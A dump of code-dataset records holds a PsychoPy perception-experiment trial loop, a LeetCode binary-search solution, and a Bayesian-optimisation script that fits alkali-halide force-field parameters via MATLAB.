sep_vals_list[stair_idx]\n ISI = ISI_vals_list[stair_idx]\n if verbose:\n print(f\"ISI: {ISI}, sep: {sep}\")\n\n # Luminance (staircase varies probeLum)\n probeLum = thisStair.next()\n probeColor255 = int(probeLum * LumColor255Factor) # rgb255 are ints.\n probeColor1 = (probeColor255 * Color255Color1Factor) - 1\n # todo: Exp1_fr_test doesn't use this - it uses probe1.color\n probe1.setColor([probeColor255, probeColor255, probeColor255], colour_space)\n probe2.setColor([probeColor255, probeColor255, probeColor255], colour_space)\n if verbose:\n print(f\"probeLum: {probeLum}, probeColor255: {probeColor255}, probeColor1: {probeColor1}\")\n print(f\"probe1.colorSpace: {probe1.colorSpace}, probe2.colorSpace: {probe2.colorSpace}\")\n\n # PROBE LOCATION\n # # corners go ACW(!) 45=top-right, 135=top-left, 225=bottom-left, 315=bottom-right\n # todo: change to use tuple or names tuple?\n corner = random.choice([45, 135, 225, 315])\n corner_name = 'top_right'\n if corner == 135:\n corner_name = 'top_left'\n elif corner == 225:\n corner_name = 'bottom_left'\n elif corner == 315:\n corner_name = 'bottom_right'\n\n # # direction in which the probe jumps : CW or ACW\n # todo change to use dict or tuples?\n target_jump = random.choice([1, -1])\n if orientation == 'tangent':\n jump_dir = 'clockwise'\n if target_jump == -1:\n jump_dir = 'anticlockwise'\n else:\n jump_dir = 'inward'\n if target_jump == -1:\n jump_dir = 'outward'\n # if verbose:\n print(f\"corner: {corner} {corner_name}; jump dir: {target_jump} {jump_dir}\")\n\n\n # NEW - set orientations to p1=zero and p2=180 (not zero), than add same orientation change to both\n # reset probe ori\n # todo: Exp1_fr_test doesn't use this - it has (0, 0) here and then different values throughout.\n probe1_ori = 0\n probe2_ori = 180\n if corner == 45:\n # in top-right corner, both x and y increase (right and up)\n p1_x = dist_from_fix * 1\n p1_y = dist_from_fix * 1\n # 'orientation' here refers to the relationship between probes,\n # whereas probe1_ori refers to rotational angle of probe stimulus\n if orientation == 'tangent':\n if target_jump == 1: # CW\n probe1_ori += 180\n probe2_ori += 180\n probe2_pos = [p1_x + sep - 1, p1_y - sep]\n elif target_jump == -1: # ACW\n probe1_ori += 0\n probe2_ori += 0\n probe2_pos = [p1_x - sep + 1, p1_y + sep]\n elif orientation == 'radial':\n if target_jump == 1: # inward\n probe1_ori += 270\n probe2_ori += 270\n # probe2 is left and down from probe1\n probe2_pos = [p1_x - sep + 1, p1_y - sep]\n elif target_jump == -1: # outward\n probe1_ori += 90\n probe2_ori += 90\n # probe2 is right and up from probe1\n probe2_pos = [p1_x + sep - 1, p1_y + sep]\n elif corner == 135:\n p1_x = dist_from_fix * -1\n p1_y = dist_from_fix * 1\n if orientation == 'tangent':\n if target_jump == 1: # ACW\n probe1_ori += 90\n probe2_ori += 90\n probe2_pos = [p1_x + sep - 1, p1_y + sep]\n elif target_jump == -1: # CW\n probe1_ori += 270\n probe2_ori += 270\n probe2_pos = [p1_x - sep + 1, p1_y - sep]\n elif orientation == 'radial':\n if target_jump == 1: # inward\n probe1_ori += 180\n probe2_ori += 180\n # probe2 is right and down from probe1\n probe2_pos = [p1_x + sep - 1, p1_y - sep]\n elif target_jump == -1: # outward\n probe1_ori += 0\n probe2_ori += 0\n # probe2 is left and up from probe1\n probe2_pos = [p1_x - sep + 1, p1_y + sep]\n elif corner == 225:\n p1_x = dist_from_fix * -1\n p1_y = dist_from_fix * -1\n if orientation == 'tangent':\n if target_jump == 1: # CW\n probe1_ori += 0\n probe2_ori += 0\n probe2_pos = [p1_x - sep + 1, p1_y + sep]\n elif target_jump == -1: # ACW\n probe1_ori += 180\n probe2_ori += 180\n probe2_pos = [p1_x + sep - 1, p1_y - sep]\n elif orientation == 'radial':\n if target_jump == 1: # inward\n probe1_ori += 90\n probe2_ori += 90\n # probe2 is right and up from probe1\n probe2_pos = [p1_x + sep - 1, p1_y + sep]\n elif target_jump == -1: # outward\n probe1_ori += 270\n probe2_ori += 270\n # probe2 is left and down from probe1\n probe2_pos = [p1_x - sep + 1, p1_y - sep]\n else:\n corner = 315\n p1_x = dist_from_fix * 1\n p1_y = dist_from_fix * -1\n if orientation == 'tangent':\n if target_jump == 1: # ACW\n probe1_ori += 270\n probe2_ori += 270\n probe2_pos = [p1_x - sep + 1, p1_y - sep]\n elif target_jump == -1: # CW\n probe1_ori += 90\n probe2_ori += 90\n probe2_pos = [p1_x + sep - 1, p1_y + sep]\n elif orientation == 'radial':\n if target_jump == 1: # inward\n probe1_ori += 0\n probe2_ori += 0\n # probe2 is left and up from probe1\n probe2_pos = [p1_x - sep + 1, p1_y + sep]\n elif target_jump == -1: # outward\n probe1_ori += 180\n probe2_ori += 180\n # probe2 is right and down from probe1\n probe2_pos = [p1_x + sep - 1, p1_y - sep]\n\n # todo: Exp1_fr_test doesn't use this - it adjust .ori and .pos as it goes.\n probe1.ori = probe1_ori\n probe2.ori = probe2_ori\n probe1_pos = [p1_x, p1_y]\n probe1.pos = probe1_pos\n probe2.pos = probe2_pos\n\n if verbose:\n print(f\"probe1: {probe1_pos}, probe2_pos: {probe2_pos}. dff: {dist_from_fix}\")\n\n\n # VARIABLE FIXATION TIME\n # to reduce anticipatory effects that might arise from fixation always being same length.\n # if False, vary_fix == .5 seconds, so t_fixation is 1 second.\n # if Ture, vary_fix is between 0 and 1 second, so t_fixation is between .5 and 1.5 seconds.\n vary_fix = int(fps / 2)\n if vary_fixation:\n vary_fix = np.random.randint(0, fps)\n\n # timing in frames for ISI and probe2\n # If probes are presented concurrently, set ISI and probe2 to last for 0 frames.\n isi_dur_fr = ISI\n p2_fr = probe_duration # todo: Exp1_fr_test doesn't use this\n if ISI < 0:\n isi_dur_fr = p2_fr = 0\n\n # cumulative timing in frames for each part of a trial\n t_fixation = int(fps / 2) + vary_fix\n t_probe_1 = t_fixation + probe_duration\n t_ISI = t_probe_1 + isi_dur_fr\n t_probe_2 = t_ISI + p2_fr\n t_response = t_probe_2 + 10000 * fps # ~40 seconds to respond\n\n if verbose:\n print(f\"t_fixation: {t_fixation}\\n\"\n f\"t_probe_1: {t_probe_1}\\n\"\n f\"t_ISI: {t_ISI}\\n\"\n f\"t_probe_2: {t_probe_2}\\n\"\n f\"t_response: {t_response}\\n\")\n\n # repeat the trial if [r] has been pressed\n # todo: keep the per-frame stuff to a minimum to reduce the load.\n\n # take a break every ? trials\n if (trial_number % take_break == 1) & (trial_number > 1):\n continueRoutine = False\n breaks.text = breaks_text + f\"\\nyou have completed {trial_number}/{total_n_trials} trials.\"\n breaks.draw()\n\n # adding this to flush out any logged messages during the breaks.\n # todo: Exp1_fr_test doesn't use this\n # logging.flush() # write messages out to all targets\n\n win.flip()\n\n while not kb.getKeys():\n continueRoutine = True\n else:\n continueRoutine = True\n\n\n # todo: add in core.rush(True) for these time critical parts of script.\n # todo: add in global timer and get time from last frame f fixation until first frame of response.\n # I can later use this to see if there were dropped frames or other time issues across probe1, isi, probe2.\n\n\n # loop per frame\n repeat = True\n while repeat:\n frameN = -1\n\n continueRoutine = True\n while continueRoutine:\n frameN = frameN + 1\n\n # todo: reset clock once.\n if frameN == t_fixation:\n # radius is set twice, one here, and once at response time.\n fixation.setRadius(3)\n # reset timer to start with probe1 presentation (at last fixation frame).\n kb.clock.reset()\n if verbose:\n print(f\"{frameN}: frameN == t_fixation: reset timer\")\n\n # record time of last fixation frame.\n # last_fix_fr_time = win.callOnFlip(clock.getTime())\n\n win.recordFrameIntervals = True\n\n\n # todo: Changed ifs to elifs\n # FIXATION\n if t_fixation >= frameN > 0:\n # fixation.setRadius(3)\n # blend_edge_mask.draw()\n fixation.draw()\n trials_counter.draw()\n\n # if verbose:\n # print(f\"{frameN}: t_fixation >= frameN > 0: fixation\")\n\n\n # PROBE 1\n elif t_probe_1 >= frameN > t_fixation:\n if verbose:\n print(f\"{frameN}: t_probe_1 >= frameN > t_fixation: probe 1\")\n\n # win.recordFrameIntervals = True\n # fixation.setRadius(3)\n # blend_edge_mask.draw()\n fixation.draw()\n trials_counter.draw()\n probe1.draw()\n if ISI == -1: # SIMULTANEOUS CONDITION (concurrent)\n if sep <= 18: # don't draw 2nd probe in 1probe cond (sep==99)\n probe2.draw()\n if verbose:\n print(f\"\\t{frameN}: probe2.draw(): conc probes\")\n\n\n\n # ISI (only occurs if ISI > 0)\n elif t_ISI >= frameN > t_probe_1:\n # fixation.setRadius(3)\n # blend_edge_mask.draw()\n fixation.draw()\n trials_counter.draw()\n if verbose:\n print(f\"{frameN}: t_ISI >= frameN > t_probe_1: ISI\")\n\n # PROBE 2 (Only occurs if ISI > -1, e.g., not concurrent probes)\n elif t_probe_2 >= frameN > t_ISI:\n if verbose:\n print(f\"{frameN}: t_probe_2 >= frameN > t_ISI: probe 2\")\n\n # todo: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n # todo: shouldn't this be if isi_dur_fr!!!\n if ISI >= 0:\n if sep <= 18: # don't draw 2nd probe in 1probe cond (sep==99)\n probe2.draw()\n if verbose:\n print(f\"\\t{frameN}: probe2.draw()\")\n # fixation.setRadius(3)\n # blend_edge_mask.draw()\n fixation.draw()\n trials_counter.draw()\n\n # elif frameN == t_probe_2:\n # # record time of last probe frame.\n # last_probe_fr_time = win.callOnFlip(clock.getTime())\n\n\n # Response time\n elif frameN > t_probe_2:\n # print(f\"{frameN}: frameN > t_probe_2: response\")\n\n win.recordFrameIntervals = False\n total_recorded_fr = len(win.frameIntervals)\n fr_recorded_list.append(total_recorded_fr)\n # win.saveFrameIntervals(f\"/Users/nickmartin/Library/CloudStorage/OneDrive-CardiffUniversity/PycharmProjects/Cardiff/memory_and_timings/frameIntervals_20221121/run4/FrameIntervals_{trial_number}_ISI{ISI}\")\n\n # blend_edge_mask.draw()\n fixation.setRadius(2)\n fixation.draw()\n trials_counter.draw()\n\n # ANSWER keys\n # todo: Exp1_fr_test doesn't use this\n theseKeys = kb.getKeys(keyList=['num_5', 'num_4', 'num_1',\n 'num_2', 'w', 'q', 'a', 's'])\n if len(theseKeys) > 0: # at least one key was pressed\n last_key = theseKeys[-1]\n resp_key = last_key.name\n resp_rt = last_key.rt\n if verbose:\n print(f\"theseKeys: {list([i for i in theseKeys])}\")\n print(f\"resp_key: {resp_key}\")\n print(f\"resp_rt: {resp_rt}\")\n print(f\"key.duration: {last_key.duration}\")\n\n\n # default assume response incorrect unless meets criteria below\n resp_corr = 0\n\n if corner == 45:\n if (resp_key == 'w') or (resp_key == 'num_5'):\n resp_corr = 1\n elif corner == 135:\n if (resp_key == 'q') or (resp_key == 'num_4'):\n resp_corr = 1\n elif corner == 225:\n if (resp_key == 'a') or (resp_key == 'num_1'):\n resp_corr = 1\n elif corner == 315:\n if (resp_key == 's') or (resp_key == 'num_2'):\n resp_corr = 1\n\n repeat = False\n continueRoutine = False\n\n # regardless of frameN, check for quit\n if kb.getKeys(keyList=[\"escape\"]):\n thisExp.close()\n core.quit()\n\n # redo the trial if I think I made a mistake\n if kb.getKeys(keyList=[\"r\"]) or kb.getKeys(keyList=['num_9']):\n repeat = True\n continueRoutine = False\n continue\n\n # # todo: sort out how to allow participants to respond, then go back and repeat the frame.\n # # At the moment it can get stuck in a loop!)\n # if len(win.frameIntervals) > 0:\n # if max(win.frameIntervals) > max_fr_sec:\n # print('Repeating this trial as dropped frame.')\n # print(win.frameIntervals)\n # win.frameIntervals.clear()\n # repeat = True\n # continueRoutine = False\n # continue\n\n\n # gets rid of double presses\n kb.getKeys(clear=True)\n\n # refresh the screen\n if continueRoutine:\n win.flip()\n\n # get duration from last fixation frame to last probe frame\n # probes_fr_dur = last_probe_fr_time - last_fix_fr_time\n\n # print(win.frameIntervals)\n #\n # # keep this, so it only checks last set of frames.\n # win.frameIntervals.clear()\n # total_recorded_fr = len(win.frameIntervals)\n # total_dropped_fr = win.nDroppedFrames\n\n # todo: Exp1_fr_test doesn't use this\n # print(f\"{total_dropped_fr}/{total_recorded_fr} dropped frames in total\")\n # this_trial_recorded_fr = total_recorded_fr - prev_total_recorded_fr\n # this_trial_dropped_fr = total_dropped_fr - prev_total_dropped_fr\n # print(f\"{this_trial_dropped_fr}/{this_trial_recorded_fr} dropped frames on this trial\")\n # prev_total_recorded_fr = total_recorded_fr\n # prev_total_dropped_fr = total_dropped_fr\n # fr_recorded_list.append(total_recorded_fr)\n\n # TrialHandler adds info to CSV (but stored in memory until end?)\n thisExp.addData('trial_number', trial_number)\n thisExp.addData('stair', stair_idx)\n thisExp.addData('stair_name', thisStair)\n thisExp.addData('step', step)\n thisExp.addData('separation', sep)\n thisExp.addData('ISI', ISI)\n thisExp.addData('isi_dur_fr', isi_dur_fr)\n thisExp.addData('probe_jump', target_jump)\n thisExp.addData('jump_dir', jump_dir)\n thisExp.addData('probeColor1', probeColor1)\n thisExp.addData('probeColor255', probeColor255)\n thisExp.addData('probeLum', probeLum)\n thisExp.addData('trial_response', resp_corr)\n thisExp.addData('corner', corner)\n thisExp.addData('corner_name', corner_name)\n thisExp.addData('probe_ecc', probe_ecc)\n # thisExp.addData('resp.rt', resp.rt)\n thisExp.addData('resp_key', resp_key)\n thisExp.addData('resp_rt', resp_rt)\n thisExp.addData('orientation', orientation)\n thisExp.addData('vary_fixation', vary_fixation)\n thisExp.addData('t_fixation', t_fixation)\n # thisExp.addData('last_fix_fr_time', last_fix_fr_time)\n # thisExp.addData('last_probe_fr_time', last_probe_fr_time)\n # thisExp.addData('probes_fr_dur', probes_fr_dur)\n thisExp.addData('monitor_name', monitor_name)\n thisExp.addData('selected_fps', fps)\n thisExp.addData('expName', expName)\n thisExp.addData('psychopyVersion', psychopyVersion)\n thisExp.addData('date', expInfo['date'])\n thisExp.addData('time', expInfo['time'])\n\n\n\n # indicates that this trial has finished\n thisExp.nextEntry()\n\n # updates staircase\n thisStair.newValue(resp_corr) # so that the staircase adjusts itself\n\n\nprint(\"end of experiment loop, saving data\")\n\n\n\nthisExp.dataFileName = filename\n\n# print(f\"thisExp: {thisExp.getAllEntries()}\")\n\nthisExp.close()\n\n\nn_dropped_fr = win.nDroppedFrames\nprint(f\"n_dropped_fr: {n_dropped_fr}\")\n\nimport matplotlib.pyplot as plt\n# plt.plot(win.frameIntervals)\n# plt.show()\ntotal_recorded_fr = len(win.frameIntervals)\ntotal_dropped_fr = win.nDroppedFrames\nprint(f\"{total_dropped_fr}/{total_recorded_fr} dropped in total (expected: {round(expected_fr_ms, 2)}ms, 'dropped' if > {round(frame_err_ms, 2)})\")\nplt.plot(win.frameIntervals)\nplt.title(f\"{monitor_name}, {fps}Hz, {expInfo['date']}\\n{total_dropped_fr}/{total_recorded_fr} dropped fr (expected: {round(expected_fr_ms, 2)}ms, 'dropped' if > {round(frame_err_ms, 2)})\")\nplt.vlines(x=fr_recorded_list, ymin=min(win.frameIntervals), ymax=max(win.frameIntervals), colors='silver', linestyles='dashed')\nplt.axhline(y=frame_err_sec, color='red', linestyle='dashed')\n# plt.savefig(f\"{expInfo['participant']}{os.sep}{expInfo['participant']}_{expInfo['run_number']}{os.sep}{expInfo['participant']}_{expInfo['run_number']}_frames.png\")\nfig_name = filename = f'{_thisDir}{os.sep}' \\\n f'{expName}{os.sep}' \\\n f'{participant_name}{os.sep}' \\\n f'{participant_name}_{run_number}{os.sep}' \\\n f'{participant_name}_{run_number}_frames.png'\nprint(f\"fig_name: {fig_name}\")\nplt.savefig(fig_name)\n\n#\n# win.saveFrameIntervals(fileName=None, clear=True)\n# the stuff below certainly seems to be what's recommended (close window then core quit)\n\nwhile not kb.getKeys():\n # display end of experiment screen\n end_of_exp.draw()\n win.flip()\nelse:\n # logging.flush() # write messages out to all targets\n thisExp.abort() # or data files will save again on exit\n\n # close and quit once a key is pressed\n win.close()\n core.quit()\n", "repo_name": "Nickdotmartin/Cardiff", "sub_path": "Nick_scripts/old_scripts/Exp1_Dec22.py", "file_name": "Exp1_Dec22.py", "file_ext": "py", "file_size_in_byte": 36666, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "psychopy.__version__", "line_number": 6, "usage_type": "name"}, {"api_name": "psychopy.core.Clock", "line_number": 42, "usage_type": "call"}, {"api_name": "psychopy.core", "line_number": 42, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 49, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 50, "usage_type": "call"}, {"api_name": "psychopy.gui.DlgFromDict", "line_number": 74, "usage_type": "call"}, {"api_name": "psychopy.gui", "line_number": 74, "usage_type": "name"}, {"api_name": "psychopy.core.quit", "line_number": 76, "usage_type": "call"}, {"api_name": "psychopy.core", "line_number": 76, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 78, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 78, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 79, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 79, "usage_type": "name"}, {"api_name": "numpy.repeat", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 124, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 134, "usage_type": "attribute"}, {"api_name": "os.sep", "line_number": 135, "usage_type": "attribute"}, {"api_name": "os.sep", "line_number": 136, "usage_type": "attribute"}, {"api_name": "os.sep", "line_number": 137, "usage_type": "attribute"}, {"api_name": "psychopy.data.ExperimentHandler", "line_number": 145, "usage_type": "call"}, {"api_name": "psychopy.data", "line_number": 145, "usage_type": "name"}, {"api_name": "psychopy.__version__", "line_number": 146, "usage_type": "name"}, {"api_name": "psychopy.monitors.Monitor", "line_number": 180, "usage_type": "call"}, {"api_name": "psychopy.monitors", "line_number": 180, "usage_type": "name"}, {"api_name": "psychopy.monitors.Monitor", "line_number": 201, "usage_type": "call"}, {"api_name": "psychopy.monitors", "line_number": 201, "usage_type": "name"}, {"api_name": "psychopy.visual.Window", "line_number": 207, "usage_type": "call"}, {"api_name": "psychopy.visual", "line_number": 207, "usage_type": "name"}, {"api_name": "psychopy.visual.Circle", "line_number": 243, "usage_type": "call"}, {"api_name": "psychopy.visual", "line_number": 243, "usage_type": "name"}, {"api_name": "psychopy.visual.ShapeStim", "line_number": 249, "usage_type": "call"}, {"api_name": "psychopy.visual", "line_number": 249, "usage_type": "name"}, {"api_name": "psychopy.visual.ShapeStim", "line_number": 251, "usage_type": "call"}, {"api_name": "psychopy.visual", "line_number": 251, "usage_type": "name"}, {"api_name": "math.tan", "line_number": 264, "usage_type": "call"}, {"api_name": "numpy.deg2rad", "line_number": 264, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 264, "usage_type": "call"}, {"api_name": "psychopy.event.Mouse", "line_number": 270, "usage_type": "call"}, {"api_name": "psychopy.event", "line_number": 270, "usage_type": "name"}, {"api_name": "psychopy.hardware.keyboard.Keyboard", "line_number": 275, "usage_type": "call"}, {"api_name": "psychopy.hardware.keyboard", "line_number": 275, "usage_type": "name"}, {"api_name": "psychopy.visual.TextBox2", "line_number": 293, "usage_type": "call"}, {"api_name": "psychopy.visual", "line_number": 293, "usage_type": "name"}, {"api_name": "psychopy.visual.TextBox2", "line_number": 303, "usage_type": "call"}, {"api_name": "psychopy.visual", "line_number": 303, "usage_type": "name"}, {"api_name": "psychopy.visual.TextBox2", "line_number": 324, "usage_type": "call"}, {"api_name": "psychopy.visual", "line_number": 324, "usage_type": "name"}, {"api_name": "psychopy.visual.TextBox2", "line_number": 339, "usage_type": "call"}, {"api_name": "psychopy.visual", "line_number": 339, "usage_type": "name"}, {"api_name": "copy.copy", "line_number": 383, "usage_type": "call"}, {"api_name": "kestenSTmaxVal.Staircase", "line_number": 386, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 401, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 430, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 441, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 573, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 573, "usage_type": "attribute"}, {"api_name": "psychopy.core.quit", "line_number": 759, "usage_type": "call"}, {"api_name": "psychopy.core", "line_number": 759, "usage_type": "name"}, {"api_name": "psychopy.__version__", "line_number": 834, "usage_type": "argument"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 867, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 867, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 868, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 868, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.vlines", "line_number": 869, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 869, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axhline", "line_number": 870, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 870, "usage_type": "name"}, {"api_name": "os.sep", "line_number": 872, "usage_type": "attribute"}, {"api_name": "os.sep", "line_number": 873, "usage_type": "attribute"}, {"api_name": "os.sep", "line_number": 874, "usage_type": "attribute"}, {"api_name": "os.sep", "line_number": 875, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 878, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 878, "usage_type": "name"}, {"api_name": "psychopy.core.quit", "line_number": 894, "usage_type": "call"}, {"api_name": "psychopy.core", "line_number": 894, "usage_type": "name"}]} {"seq_id": "4507750438", "text": "from typing import List\n\n\n#二分查找分两种\ndef binarySearch(nums: List[int], target: int, leftside=True):\n # 因为本次输出用到了数组所以会出现数组越界的情况\n\n if len(nums) == 0:\n return -1\n\n left = 0\n right = len(nums)#用了多一位 过while时直接跳出\n if not leftside:\n while (left < right):\n mid = (left + right) // 2\n\n if nums[mid] > target:\n right = mid\n elif nums[mid] <= target:\n left = mid+1 #使用mid+1是因//2的特性总是向下偏转\n if left-1>=0 and nums[left-1] == target:\n return left-1\n else:\n return -1\n else:\n while (left < right):\n mid = (left + right) // 2\n\n if nums[mid] >= target:\n right = mid\n elif nums[mid] < target:\n left = mid + 1\n if right< len(nums) and nums[right] == target: #因为使用了right所以要格外关注所以说关注一点\n return right\n else:\n return -1\n\nfrom 二分查找.Bisect import bisect_left,bisect_right\nclass Solution:\n def searchRange(self, nums: List[int], target: int) -> List[int]:\n return [binarySearch(nums, target), binarySearch(nums, target, False)]\n\n\n\n# from 二分查找.Bisect import bisect_right,bisect_left\n# #官方对于不存在元素的查找非常马虎 天啊\nif __name__ == '__main__':\n print(Solution().searchRange([31,3],3))\n\n", "repo_name": "zhangler1/leetcodepractice", "sub_path": "二分查找/在排序数组中查找元素的第一个和最后一个位置34.py", "file_name": "在排序数组中查找元素的第一个和最后一个位置34.py", "file_ext": "py", "file_size_in_byte": 1499, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 5, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 40, "usage_type": "name"}]} {"seq_id": "1293894512", "text": "from GPy.models import GPRegression\nfrom GPy.kern.src.sde_matern import sde_Matern32 as Matern32\nfrom GPy.kern.src.sde_matern import sde_Matern52 as Matern52\nfrom GPy.kern.src.rbf import RBF\nfrom emukit.model_wrappers import GPyModelWrapper\nfrom emukit.experimental_design.model_free.latin_design import LatinDesign\nfrom emukit.bayesian_optimization.loops import BayesianOptimizationLoop\nfrom emukit.core.loop import UserFunctionWrapper\nimport numpy as np\nfrom l2_bayes_opt.acquisitions import (\n L2NegativeLowerConfidenceBound as L2_LCB,\n L2ExpectedImprovement as L2_EI)\nimport matlab.engine\nfrom Engine import LiX_wrapper\n\n###\nsalt = 'LiI'\nstructure = 'Rocksalt'\nINIT_POINTS=30\nBO_ITER = 30\nNOISE = 1E-4\nfrac_M = True\nfrac_X = True\nmix_rules = True\nbo_flag = False\nfocus = None # None, 'energy ', or 'constant'\n###\nif not mix_rules:\n n_params = 6\nelse:\n n_params = 4\n \neng = matlab.engine.start_matlab()\n\nif NOISE == 0:\n NOISE = 1E-6 # numerical reason \n\ndef save(bayes_state):\n X = bayes_state.loop_state.X\n Y = bayes_state.loop_state.Y\n \n return X,Y\n\ndef black_box_func(x): #!!! \n global counter, Y_original\n x = x.flatten()\n \n if max(np.shape(x)) == 4:\n s_M = x[0]\n s_X = x[1]\n e_M = x[2]\n e_X = x[3]\n \n params = np.array([[s_M,s_X],[e_M,e_X]])\n \n else:\n s_M = x[0]\n s_X = x[1]\n s_MX = x[2]\n e_M = x[3]\n e_X = x[4]\n e_MX = x[5]\n \n params = np.array([[s_M,s_X,s_MX],[e_M,e_X,e_MX]])\n \n #First True is the bo_mode data type\n # LiX_wrapper(bo_mode,salt,structure,model,model_params,par,verbose,eng)\n opt_result = LiX_wrapper(True,salt,structure,'JC',params,\n False,False,eng)\n \n counter += 1\n Y_original = np.append(Y_original,opt_result)\n \n if np.isnan(opt_result[0][0]):\n opt_result = np.zeros((1,10))\n \n print('Iteration {}-->params:\\n{}'.format(counter,\n np.array2string(params,precision=3)))\n print('Energy compared to target:{:.2f}'.format(opt_result[0][0]-target[0][0]))\n print('Lattice parameters compared to target:{:.2f}'.format(\n opt_result[0][1]-target[0][1]))\n \n \n if frac_X == False:\n opt_result = opt_result[:,:7]\n if frac_M == False:\n opt_result = opt_result[:,:4]\n \n if bo_flag:\n if focus == 'energy':\n return opt_result.flatten()[0].reshape(1,-1)\n if focus == 'constant':\n return opt_result.flatten()[1:4].reshape(1,-1)\n else:\n return opt_result[:,:].reshape(1,-1)\n else:\n return opt_result.reshape(1,-1)\n \nif n_params == 4:\n from params_setting import parameter_space_4d as parameter_space\nelse:\n from params_setting import parameter_space_6d as parameter_space\n \nf=UserFunctionWrapper(black_box_func)\n\ndef main():\n print(\"######################\")\n global target,X0,Y0,values,frac_M,frac_X,bo_flag\n \n #target_params = np.array([[0.14,0.4],[1.4,0.03]])\n \n #target = LiX_wrapper(True,'LiF','Rocksalt','JC',\n # target_params,False,False,eng)\n\n target = np.array([[-764.5,6.012*0.99,6.012*0.99,6.012*0.99]])\n \n if focus == 'energy':\n target_comp = target[0,0].reshape(1,-1)\n if focus == 'constant':\n target_comp = target[0,1].reshape(1,-1)\n else:\n target_comp = target[0,:4].reshape(1,-1)\n \n print('Target initialized!')\n \n latin_design = LatinDesign(parameter_space=parameter_space)\n X0 = latin_design.get_samples(INIT_POINTS)\n Y0 = np.array([])\n for x in X0:\n x = np.array([x])\n Y0 = np.append(Y0,f.evaluate(x))\n values = []\n\n for y in Y0:\n values.append(y.Y)\n \n values = np.asarray(values,dtype=float)\n\n ### Redundancy check\n if (values[:,7:-1]==values[0,7]).all():\n values = values[:,:7]\n frac_X = False\n \n if (values[:,4:7]==values[0,4]).all():\n values = values[:,:4]\n frac_M = False\n\n values = values.reshape(-1,np.max(np.shape(target))) \n bo_flag = True\n \n if focus == 'energy':\n values = values[:,0].reshape(-1,1)\n if focus == 'constant':\n values = values[:,1:4].reshape(-1,3)\n \n ### BO Loop\n kern = Matern52(X0.shape[1],variance=1)\n model = GPRegression(X0, values, kernel=kern,\n normalizer=True, noise_var=NOISE) # Kernel = None: RBF default\n\n model.optimize(optimizer='lbfgsb')\n model.optimize_restarts(num_restarts=50,verbose=False)\n model_wrapped = GPyModelWrapper(model)\n \n acq = L2_LCB(model=model_wrapped, target=target_comp, beta = np.float64(1.)) \n # beta is the exploration constant\n bayesopt_loop = BayesianOptimizationLoop(\n model=model_wrapped, space=parameter_space, acquisition=acq)\n bayesopt_loop.run_loop(f, BO_ITER)\n \n return save(bayesopt_loop)\n\nif __name__ == '__main__':\n counter = 0\n Y_original = np.array([])\n test = main()\n Y_original = Y_original.reshape(INIT_POINTS+BO_ITER,-1)\n \n tmp = (Y_original,test[0],test[1],'LiI','Rocksalt','with_mix','both','30+30')\n import pickle\n with open('./tmp_data/LiI/opt_both_MIX.pickle', 'wb') as f:\n pickle.dump(tmp, f)\n eng.quit()", "repo_name": "HScheiber/LiX_Minimization", "sub_path": "py_scripts/BO_LiX.py", "file_name": "BO_LiX.py", "file_ext": "py", "file_size_in_byte": 5318, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "matlab.engine.engine.start_matlab", "line_number": 33, "usage_type": "call"}, {"api_name": "matlab.engine.engine", "line_number": 33, "usage_type": "attribute"}, {"api_name": "matlab.engine", "line_number": 33, "usage_type": "name"}, {"api_name": "numpy.shape", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 64, "usage_type": "call"}, {"api_name": "Engine.LiX_wrapper", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.array2string", "line_number": 78, "usage_type": "call"}, {"api_name": "emukit.core.loop.UserFunctionWrapper", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 115, "usage_type": "call"}, {"api_name": "emukit.experimental_design.model_free.latin_design.LatinDesign", "line_number": 126, "usage_type": "call"}, {"api_name": "params_setting.parameter_space_6d", "line_number": 126, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 148, "usage_type": "call"}, {"api_name": 